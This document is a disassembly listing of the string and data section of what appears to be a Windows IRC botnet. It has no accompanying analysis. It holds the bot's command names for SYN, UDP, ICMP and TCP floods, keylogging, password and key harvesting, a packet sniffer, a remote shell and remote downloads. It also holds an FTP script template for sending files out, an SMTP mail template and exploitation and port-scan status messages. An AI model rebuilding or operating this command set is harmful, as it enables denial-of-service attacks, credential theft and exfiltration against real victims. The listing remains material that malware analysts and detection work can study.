unk_4314BC	db    2			; DATA XREF: sub_40EE72+36AEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '   TCP redirect created from: %s:%d to: %s:%d.',0
unk_431508	db    2			; DATA XREF: sub_40EE72+3620o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_20	db '  Failed to start scan thread, error: <%d>.',0
		align 4
unk_431554	db    2			; DATA XREF: sub_40EE72+35B1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_40EE72+352Do
		align 10h
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40EE72+3430o
		align 10h
dword_4315C0	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_40EE72+33A2o
					; sub_40EE72+43EFo
unk_4315CC	db    2			; DATA XREF: sub_40EE72+3340o
					; sub_40EE72+5179o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_21	db '  Failed to start scan thread, error: <%d>.',0
		align 4
unk_431614	db    2			; DATA XREF: sub_40EE72+32D1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
aSequential	db 'Sequential',0       ; DATA XREF: sub_40EE72+32A6o
					; sub_40EE72+50DDo
		align 10h
aRandom_0	db 'Random',0           ; DATA XREF: sub_40EE72+329Fo
					; sub_40EE72+50D6o
		align 4
unk_431698	db    2			; DATA XREF: sub_40EE72+3161o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_22	db '  Failed to start scan, no IP specified.',0
		align 4
unk_4316DC	db    2			; DATA XREF: sub_40EE72+301Ao
					; sub_40EE72+4F21o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
dword_431728	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2FE9o
		dd 2BBBB02h
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
dword_431770	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2F7Ao
		dd 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE72+2EA2o
		align 10h
unk_4317E0	db    2			; DATA XREF: sub_40EE72+2E8Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_24	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_431828	db    2			; DATA XREF: sub_40EE72+2E22o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
dword_431880	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_411BF4o
		dd 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 4
dword_4318C8	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2D78o
		dd 2BBBB02h
aFailedToSta_25	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
dword_431910	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2CFEo
		dd 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_40EE72+2CEEo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40EE72+2CE7o
dword_431964	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2C4Co
		dd 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_43199C	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4119D3o
		dd 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_4319D8	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2B5Ao
		dd 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40EE72+2B43o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_40EE72+2B2Co
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40EE72+2B09o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40EE72+2AD4o
		align 10h
dword_431A50	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2A8Ao
		dd 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 10h
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40EE72+2A67o
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40EE72+2A44o
		align 4
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40EE72+2A2Do
		align 4
unk_431AA8	db    3			; DATA XREF: sub_40EE72+2A11o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 65h
		db  6Dh	; m
		db 61h,	69h, 6Ch
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5MessageSentTo	db '5  Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40EE72+299Do
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a__0:					; DATA XREF: sub_40EE72+2901o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40EE72+28B2o
		align 4
aDdos_tcpf	db 'ddos.tcpf',0        ; DATA XREF: sub_40EE72+289Bo
		align 10h
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40EE72+2884o
		align 10h
aP:					; DATA XREF: sub_40EE72+286Do
		unicode	0, <p>,0
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40EE72+2856o
		align 10h
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40EE72+283Fo
		align 10h
aU:					; DATA XREF: sub_40EE72+2828o
		unicode	0, <u>,0
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40EE72+2811o
		align 10h
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40EE72+27FAo
		align 10h
aAd		db 'ad',0               ; DATA XREF: sub_40EE72+27E3o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_40EE72+27CCo
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40EE72+27A3o
		align 4
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40EE72+278Co
		align 4
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40EE72+2775o
		align 4
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40EE72+275Eo
		align 4
aRoot_ps	db 'root.ps',0          ; DATA XREF: sub_40EE72+2747o
aRoot_portscan	db 'root.portscan',0    ; DATA XREF: sub_40EE72+2730o
		align 4
aDaemon_rd	db 'daemon.rd',0        ; DATA XREF: sub_40EE72+2719o
		align 4
aDaemon_redirec	db 'daemon.redirect',0  ; DATA XREF: sub_40EE72+2702o
aDownload_wg	db 'download.wg',0      ; DATA XREF: sub_40EE72+26EBo
aDownload_wget	db 'download.wget',0    ; DATA XREF: sub_40EE72+26D4o
		align 4
aDdos_synf	db 'ddos.synf',0        ; DATA XREF: sub_40EE72+26BDo
		align 10h
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40EE72+26A6o
		align 10h
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40EE72+264Ao
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40EE72+2633o
		align 4
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40EE72+260Ao
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40EE72+25F3o
		align 4
aCom_mv		db 'com.mv',0           ; DATA XREF: sub_40EE72+25DCo
		align 4
aCom_rename	db 'com.rename',0       ; DATA XREF: sub_40EE72+25C5o
		align 10h
aFf		db 'ff',0               ; DATA XREF: sub_40EE72+25AEo
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_40EE72+2597o
		align 10h
aCom_e		db 'com.e',0            ; DATA XREF: sub_40EE72+2580o
		align 4
aCom_execute	db 'com.execute',0      ; DATA XREF: sub_40EE72+2569o
aDownload_up	db 'download.up',0      ; DATA XREF: sub_40EE72+2552o
aDownload_updat	db 'download.update',0  ; DATA XREF: sub_40EE72+253Bo
aIrc_de		db 'irc.de',0           ; DATA XREF: sub_40EE72+2524o
		align 4
aIrc_delay	db 'irc.delay',0        ; DATA XREF: sub_40EE72+250Do
		align 4
aIrc_rp		db 'irc.rp',0           ; DATA XREF: sub_40EE72+24F6o
		align 4
aIrc_repeat	db 'irc.repeat',0       ; DATA XREF: sub_40EE72+24DFo
		align 4
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40EE72+24C8o
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40EE72+24B1o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40EE72+249Ao
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40EE72+2483o
		align 10h
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40EE72+246Co
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40EE72+2455o
		align 4
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40EE72+243Eo
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40EE72+2427o
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40EE72+2410o
		align 4
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40EE72+23F9o
		align 4
aIrc_m		db 'irc.m',0            ; DATA XREF: sub_40EE72+23E2o
		align 4
aIrc_mode	db 'irc.mode',0         ; DATA XREF: sub_40EE72+23CBo
		align 4
aIrc_cy		db 'irc.cy',0           ; DATA XREF: sub_40EE72+23B4o
		align 10h
aIrc_cycle	db 'irc.cycle',0        ; DATA XREF: sub_40EE72+239Do
		align 4
aIrc_ac		db 'irc.ac',0           ; DATA XREF: sub_40EE72+2386o
		align 4
aIrc_action	db 'irc.action',0       ; DATA XREF: sub_40EE72+236Fo
		align 10h
aIrc_pm		db 'irc.pm',0           ; DATA XREF: sub_40EE72+2358o
		align 4
aIrc_privmsg	db 'irc.privmsg',0      ; DATA XREF: sub_40EE72+2341o
aIrc_aa		db 'irc.aa',0           ; DATA XREF: sub_40EE72+232Ao
		align 4
aIrc_addalias	db 'irc.addalias',0     ; DATA XREF: sub_40EE72+2313o
		align 4
aIrc_gh		db 'irc.gh',0           ; DATA XREF: sub_40EE72+22EAo
		align 4
aIrc_gethost	db 'irc.gethost',0      ; DATA XREF: sub_40EE72+22D3o
aCom_cap	db 'com.cap',0          ; DATA XREF: sub_40EE72+22BCo
aCom_capture	db 'com.capture',0      ; DATA XREF: sub_40EE72+22A5o
dword_431DF4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4110C9o
		dd 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 10h
dword_431E20	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4110C2o
		dd 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_431E50	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_411077o
		dd 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_431E7C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+21FEo
		dd 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: sub_40EE72+218Ao
		align 4
dword_431EB4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_410FF1o
		dd 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_431EE4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2175o
		dd 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: sub_40EE72+211Fo
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_40EE72+20FDo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_40EE72+20E5o
		align 10h
aPause		db 'pause',0            ; DATA XREF: sub_40EE72+20CDo
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_40EE72+20B5o
		align 10h
dword_431F40	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_410F1Co
		dd 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 10h
dword_431F70	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+20A0o
		dd 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_40EE72+2069o
		align 4
dword_431FAC	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2036o
		dd 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aCom_net	db 'com.net',0          ; DATA XREF: sub_40EE72+2012o
unk_431FFC	db    2			; DATA XREF: sub_40EE72+1FD1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_26	db ' Failed to start logging thread, error: <%d>.',0
		align 4
unk_432048	db    2			; DATA XREF: sub_40EE72+1F66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_432078	db    2			; DATA XREF: sub_40EE72+1EE5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 4
unk_4320A8	db    2			; DATA XREF: sub_40EE72:loc_410D33o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 4
unk_4320E4	db    2			; DATA XREF: sub_40EE72+1EB7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 10h
aFile		db 'file',0             ; DATA XREF: sub_40EE72+1E83o
					; sub_40EE72+1EF9o
		align 4
aCom_keylog	db 'com.keylog',0       ; DATA XREF: sub_40EE72+1E5Do
		align 4
unk_432144	db    2			; DATA XREF: sub_40EE72:loc_410CC5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_43217C	db    2			; DATA XREF: sub_40EE72+1E49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40EE72+1E26o
					; sub_40EE72+1E94o
unk_4321C8	db    2			; DATA XREF: sub_40EE72+1E1Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_27	db 'Failed to start sniffer thread, error: <%d>.',0
		align 4
unk_432214	db    2			; DATA XREF: sub_40EE72+1DACo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 4
unk_432254	db    2			; DATA XREF: sub_40EE72+1D45o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_40EE72+1D25o
					; sub_40EE72+1E72o
		align 4
aSniff		db 'sniff',0            ; DATA XREF: sub_40EE72+1D10o
		align 10h
aCom_rf		db 'com.rf',0           ; DATA XREF: sub_40EE72+1CF9o
		align 4
aCom_readfile	db 'com.readfile',0     ; DATA XREF: sub_40EE72+1CE2o
		align 4
aCom_cm		db 'com.cm',0           ; DATA XREF: sub_40EE72+1CCBo
		align 10h
aCom_cmd	db 'com.cmd',0          ; DATA XREF: sub_40EE72+1CB4o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40EE72+1C86o
					; sub_40EE72+1C9Do
		align 4
aIrc_v		db 'irc.v',0            ; DATA XREF: sub_40EE72+1C6Fo
		align 4
aIrc_visit	db 'irc.visit',0        ; DATA XREF: sub_40EE72+1C58o
		align 4
aCom_fl		db 'com.fl',0           ; DATA XREF: sub_40EE72+1C41o
		align 10h
aCom_filelist	db 'com.filelist',0     ; DATA XREF: sub_40EE72+1C2Ao
		align 10h
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40EE72+1C13o
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40EE72+1BFCo
aCom_del	db 'com.del',0          ; DATA XREF: sub_40EE72+1BE5o
aCom_delete	db 'com.delete',0       ; DATA XREF: sub_40EE72+1BCEo
		align 4
aCom_pkid	db 'com.pkid',0         ; DATA XREF: sub_40EE72+1BB7o
		align 10h
aCom_prockillid	db 'com.prockillid',0   ; DATA XREF: sub_40EE72+1BA0o
		align 10h
aCom_kpn	db 'com.kpn',0          ; DATA XREF: sub_40EE72+1B89o
aCom_killprocna	db 'com.killprocname',0 ; DATA XREF: sub_40EE72+1B72o
		align 4
aIrc_dn		db 'irc.dn',0           ; DATA XREF: sub_40EE72+1B5Bo
		align 4
aIrc_dns	db 'irc.dns',0          ; DATA XREF: sub_40EE72+1B44o
aIrc_se		db 'irc.se',0           ; DATA XREF: sub_40EE72+1B2Do
		align 4
aIrc_setserve	db 'irc.setserve',0     ; DATA XREF: sub_40EE72+1B16o
		align 4
aCom_o		db 'com.o',0            ; DATA XREF: sub_40EE72+1AFFo
		align 4
aCom_open	db 'com.open',0         ; DATA XREF: sub_40EE72+1AE8o
		align 4
aIrc_pr		db 'irc.pr',0           ; DATA XREF: sub_40EE72+1AD1o
		align 10h
aIrc_prefix	db 'irc.prefix',0       ; DATA XREF: sub_40EE72+1ABAo
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40EE72+1AA3o
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40EE72+1A8Co
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40EE72+1A75o
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40EE72+1A5Eo
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40EE72+1A47o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40EE72+1A30o
		align 4
aIrc_ra		db 'irc.ra',0           ; DATA XREF: sub_40EE72+1A19o
		align 10h
aIrc_raw	db 'irc.raw',0          ; DATA XREF: sub_40EE72+1A02o
aIrc_pt		db 'irc.pt',0           ; DATA XREF: sub_40EE72+19EBo
		align 10h
aIrc_part	db 'irc.part',0         ; DATA XREF: sub_40EE72+19D4o
		align 4
aIrc_j		db 'irc.j',0            ; DATA XREF: sub_40EE72+19BDo
		align 4
aIrc_join	db 'irc.join',0         ; DATA XREF: sub_40EE72+19A6o
		align 10h
aIrc_n		db 'irc.n',0            ; DATA XREF: sub_40EE72+198Fo
		align 4
aIrc_nick	db 'irc.nick',0         ; DATA XREF: sub_40EE72+1978o
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_40EE72+1952o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_40EE72+193Do
aCom_fp		db 'com.fp',0           ; DATA XREF: sub_40EE72+1928o
		align 4
aCom_findpass	db 'com.findpass',0     ; DATA XREF: sub_40EE72+1913o
		align 4
aDaemon_tf_on	db 'daemon.tf.on',0     ; DATA XREF: sub_40EE72+18FEo
		align 4
aDaemon_tftp_on	db 'daemon.tftp.on',0   ; DATA XREF: sub_40EE72+18E9o
		align 4
aDaemon_web_on	db 'daemon.web.on',0    ; DATA XREF: sub_40EE72+18D4o
		align 4
aDaemon_httpd_o	db 'daemon.httpd.on',0  ; DATA XREF: sub_40EE72+18BFo
aDaemon_rl_on	db 'daemon.rl.on',0     ; DATA XREF: sub_40EE72+18AAo
		align 4
aDaemon_rlogi_0	db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE72+1895o
		align 4
aRoot_cip	db 'root.cip',0         ; DATA XREF: sub_40EE72+1880o
		align 4
aRoot_currentip	db 'root.currentip',0   ; DATA XREF: sub_40EE72+186Bo
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40EE72+1856o
		align 10h
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40EE72+1841o
		align 10h
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40EE72+182Co
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40EE72+1817o
		align 4
aCom_gc		db 'com.gc',0           ; DATA XREF: sub_40EE72+1802o
		align 4
aCom_getclip	db 'com.getclip',0      ; DATA XREF: sub_40EE72+17EDo
dword_432520	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+17DDo
		dd 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_40EE72+17A9o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40EE72+179Co
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40EE72+177Ao
		align 10h
aIrc_who	db 'irc.who',0          ; DATA XREF: sub_40EE72+1761o
aCmd		db '[CMD]',0            ; DATA XREF: sub_40EE72+1756o
		align 10h
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40EE72+1751o
		align 10h
aCom_ocmd_off	db 'com.ocmd.off',0     ; DATA XREF: sub_40EE72+1738o
		align 10h
aCom_ocmd	db 'com.ocmd',0         ; DATA XREF: sub_40EE72+1723o
		align 4
aCom_opencmd	db 'com.opencmd',0      ; DATA XREF: sub_40EE72+170Eo
aCom_dll	db 'com.dll',0          ; DATA XREF: sub_40EE72+16F9o
aCom_testdlls	db 'com.testdlls',0     ; DATA XREF: sub_40EE72+16E4o
		align 10h
aCom_drv	db 'com.drv',0          ; DATA XREF: sub_40EE72+16CFo
aCom_driveinfo	db 'com.driveinfo',0    ; DATA XREF: sub_40EE72+16BAo
		align 4
aCom_up		db 'com.up',0           ; DATA XREF: sub_40EE72+16A5o
		align 10h
aCom_uptime	db 'com.uptime',0       ; DATA XREF: sub_40EE72+1690o
		align 4
aCom_key	db 'com.key',0          ; DATA XREF: sub_40EE72+167Bo
aCom_harvest	db 'com.harvest',0      ; DATA XREF: sub_40EE72+1666o
aCom_ps		db 'com.ps',0           ; DATA XREF: sub_40EE72+1651o
		align 4
aCom_procs	db 'com.procs',0        ; DATA XREF: sub_40EE72+163Co
		align 4
aIrc_rm0	db 'irc.rm0',0          ; DATA XREF: sub_40EE72+1627o
aIrc_rem0ve	db 'irc.rem0ve',0       ; DATA XREF: sub_40EE72+1612o
		align 4
aCom_si		db 'com.si',0           ; DATA XREF: sub_40EE72+15FDo
		align 10h
